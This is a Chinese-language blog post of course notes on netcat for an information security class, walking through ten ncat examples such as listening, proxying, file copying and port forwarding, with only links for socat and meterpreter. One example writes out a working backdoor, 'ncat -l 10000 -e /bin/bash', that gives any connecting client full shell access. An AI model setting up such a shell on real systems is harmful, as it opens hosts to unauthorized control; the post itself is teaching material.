• 信息安全与实践课程中用到的一些工具:netcat、socat、meterpreter


    信息安全与实践课程中用到的一些工具:netcat、socat、meterpreter

    netcat

    • netcat是一个用于TCP/UDP链接和监听的linux工具。是一个功能丰富的网络调试和开发工具,也可以自由组织报文进行测试。

    • netcat的工作原理就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用TCP或UDP协议。名字起源于cat,cat软件的功能是读出文件的内容,然后将文件内容输出到屏幕上。加上net,就是它可以从文件或网络的一端读取数据,原封不动地将数据发送到另外一台主机或文件中。netcat缩写为nc。

    • 例子: 1) 监听入站连接
       通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:
      $ ncat -l port_number
       比如,
      $ ncat -l 8080,服务器就会开始在 8080 端口监听入站连接。

    • 例子: 2) 连接远程系统
       使用下面命令可以用 nc 来连接远程系统,
      $ ncat IP_address port_number
       让我们来看个例子,
      $ ncat 192.168.1.100 80
       这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
      GET / HTTP/1.1
       或者获取页面名称,
      GET / HTTP/1.1
       或者我们可以通过以下方式获得操作系统指纹标识,
      HEAD / HTTP/1.1
       这会告诉我们使用的是什么软件来运行这个 web 服务器的。

    • 例子: 3) 连接 UDP 端口
       默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口,
      $ ncat -l -u 1234
       现在我们的系统会开始监听 UDP 的 1234 端口,我们可以使用下面的 netstat 命令来验证这一点,
      $ netstat -tunlp | grep 1234
      udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
      udp6 0 0 :::1234 :::* 17341/nc

     假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令,
    $ ncat -v -u {host-ip} {udp-port}
     比如:
    [root@localhost ~]# ncat -v -u 192.168.105.150 53
    Ncat: Version 6.40 ( http://nmap.org/ncat )
    Ncat: Connected to 192.168.105.150:53。

    • 例子: 4) 将 nc 作为聊天工具
       nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
      $ ncat -l 8080
       在远程客户端主机上运行:

    $ ncat 192.168.1.100 8080
     之后开始发送消息,这些消息会在服务器终端上显示出来。

    • 例子: 5) 将 nc 作为代理
       nc 也可以用来做代理。比如下面这个例子,
      $ ncat -l 8080 | ncat 192.168.1.200 80
       所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
        $ mkfifo 2way
        $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
    

     现在你可以通过 nc 代理来收发数据了。

    • 例子: 6) 使用 nc 拷贝文件
       nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。
       在要接受数据的机器上启动 nc 并让它进入监听模式:
      $ ncat -l 8080 > file.txt
       现在去要被拷贝数据的机器上运行下面命令:
      $ ncat 192.168.1.100 8080 --send-only < data.txt
       这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。
       我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。
    • 例子: 7) 通过 nc 创建后门
       nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
      $ ncat -l 10000 -e /bin/bash

     -e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
    $ ncat 192.168.1.100 10000

    • 例子: 8) 通过 nc 进行端口转发
       我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
      $ ncat -u -l 80 -c 'ncat -u -l 8080'
       这样,所有连接到 80 端口的连接都会转发到 8080 端口。
    • 例子: 9) 设置连接超时
       nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:

    $ ncat -w 10 192.168.1.100 8080

     这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

    • 例子: 10) 使用 -k 选项强制 nc 待命
       当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:

    $ ncat -l -k 8080

    socat

    (socat简介和命令)[https://www.jianshu.com/p/54005e3095f3]

    meterpreter

    (Meterpreter命令详解)[https://www.cnblogs.com/backlion/p/9484949.html]

  • 相关阅读:
    代码审计之越权及越权
    代码审计之XSS及修复
    代码审计之SQL注入及修复
    代码审计之CSRF原理及修复
    挖穿各大SRC的短信轰炸
    Kerberoasting攻击
    SPN扫描
    Windows认证 | 域认证
    Windows认证 | 网络认证
    Ceph 纠删码介绍
  • 原文地址:https://www.cnblogs.com/LXY462283007/p/12929945.html
Copyright © 2020-2023  润新知